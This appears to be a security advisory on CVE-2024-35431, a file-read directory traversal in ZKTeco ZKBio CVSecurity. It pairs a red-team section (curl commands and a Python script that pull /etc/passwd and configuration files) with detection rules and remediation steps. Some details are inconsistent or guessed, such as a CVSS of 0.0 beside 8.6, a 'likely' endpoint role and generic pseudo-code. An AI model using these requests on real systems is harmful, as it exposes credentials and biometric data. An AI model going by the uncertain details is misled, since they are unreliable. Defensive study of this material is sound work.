CVE-2024-35431

Executive Summary

CVE-2024-35431 is a critical directory traversal vulnerability in ZKTeco ZKBio CVSecurity versions up to 6.4.1. An unauthenticated attacker can exploit the photoBase64 parameter to read arbitrary files from the server's filesystem, leading to potential disclosure of sensitive configuration files, credentials, and biometric data. The vulnerability has a CVSS score of 0.0 (pending official scoring), but based on the impact, it is assessed as High severity. No official patch has been released, and proof-of-concept code is publicly available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary physical access control and biometric security system (ZKTeco ZKBio CVSecurity). The risk is primarily to on-premises deployments of this software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - Unauthenticated.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - Affects only the vulnerable component.
• Confidentiality (C): High (H) - Full file read access.
• Integrity (I): None (N) - No write capability.
• Availability (A): None (N) - No denial of service.

Threat Level: High (8.6) - Unauthenticated remote file disclosure.

Deep Dive & Mechanics

The vulnerability resides in the photoBase64 parameter, likely used for uploading or retrieving user photos in base64 encoding. The application fails to sanitize user-supplied input, allowing path traversal sequences (e.g., ../) to escape the intended directory. An attacker can craft a request like:

GET /photoBase64?fileName=../../../../etc/passwd HTTP/1.1
Host: target

The server then reads the requested file and returns its contents, often base64-encoded. This allows an attacker to download any file the web server process has read access to, including:

• /etc/passwd (user enumeration)
• Application configuration files (database credentials, API keys)
• Biometric templates and logs
• SSL private keys

The vulnerability is present in versions 6.1.1 through 6.4.1, as confirmed by third-party researchers.

Vulnerable vs. Patched Code

Vulnerable Code (pseudo-code):

@app.route('/photoBase64')
def get_photo():
    filename = request.args.get('fileName')
    # No sanitization - directly uses user input
    with open('/var/photos/' + filename, 'rb') as f:
        data = f.read()
    return base64.b64encode(data)

Patched Code (pseudo-code):

import os

@app.route('/photoBase64')
def get_photo():
    filename = request.args.get('fileName')
    # Sanitize: resolve path and ensure it stays within allowed directory
    safe_path = os.path.normpath('/var/photos/' + filename)
    if not safe_path.startswith('/var/photos/'):
        return "Access denied", 403
    with open(safe_path, 'rb') as f:
        data = f.read()
    return base64.b64encode(data)

The patch adds path normalization and a prefix check to prevent directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ZKTeco ZKBio CVSecurity (version 6.1.1 to 6.4.1)
• Network access to the web interface (default port 80/443)

Exploitation Steps:

1. Identify the endpoint:

   curl -k https://target/photoBase64?fileName=test
   

2. Read /etc/passwd:

   curl -k "https://target/photoBase64?fileName=../../../../etc/passwd"
   

3. Read application configuration (example):

   curl -k "https://target/photoBase64?fileName=../../../../ZKBioSecurity/config/database.ini"
   

4. Automated exploitation with Python:

   import requests
   import base64
   
   target = "https://target"
   file_to_read = "../../../../etc/passwd"
   
   r = requests.get(f"{target}/photoBase64?fileName={file_to_read}", verify=False)
   if r.status_code == 200:
       decoded = base64.b64decode(r.text).decode('utf-8')
       print(decoded)
   

Blue Team

Detection:

• Monitor for requests to /photoBase64 with fileName parameters containing ../ or ..\.
• Alert on base64-encoded responses containing sensitive file headers (e.g., cm9vdA== for "root" in /etc/passwd).

Hunting:

• Search web server logs for:

  GET /photoBase64?fileName=../
  

• Look for anomalous outbound data transfers from the ZKBio server.

Containment:

• Immediately isolate the affected server.
• Review access logs for compromised files.
• Rotate any credentials exposed.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /photoBase64?fileName=../../ (or similar traversal patterns)
  • Base64-encoded responses containing file headers like cm9vdD (base64 of "root")
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, application config files
• Logs:
  • Web server logs showing directory traversal attempts
  • Application logs with errors related to file access outside allowed paths

Detection Engineering

YARA Rule

rule CVE_2024_35431_ZKTeco_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against ZKTeco ZKBio CVSecurity photoBase64 endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35431"
    strings:
        $traversal1 = "photoBase64?fileName="
        $traversal2 = "../"
        $traversal3 = "..\\"
        $sensitive_file = "/etc/passwd"
    condition:
        any of ($traversal*) and $sensitive_file
}

Sigma Rule

title: ZKTeco ZKBio CVSecurity Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts against the photoBase64 endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/photoBase64'
        cs-uri-query|contains: 'fileName=..'
    condition: selection
falsepositives:
    - Legitimate use of base64 encoded filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35431 ZKTeco ZKBio CVSecurity Directory Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/photoBase64"; http_uri; content:"fileName="; http_uri; pcre:"/fileName=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the photoBase64 endpoint if not required, via web server configuration (e.g., block /photoBase64 in Apache/Nginx).
2. Apply input validation using a Web Application Firewall (WAF) to block path traversal patterns.
3. Restrict file system permissions so the web server process cannot read sensitive files.

Long-term Fix:

• Since no official patch is available, consider:
  • Upgrading to a patched version if released.
  • Implementing a reverse proxy that sanitizes the fileName parameter.
  • Migrating to a different access control system if vendor does not respond.

Compromise Assessment:

• Check for unauthorized access to /etc/shadow, database configs, and SSL keys.
• Review all accounts and credentials that may have been exposed.
• Monitor for lateral movement using disclosed credentials.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert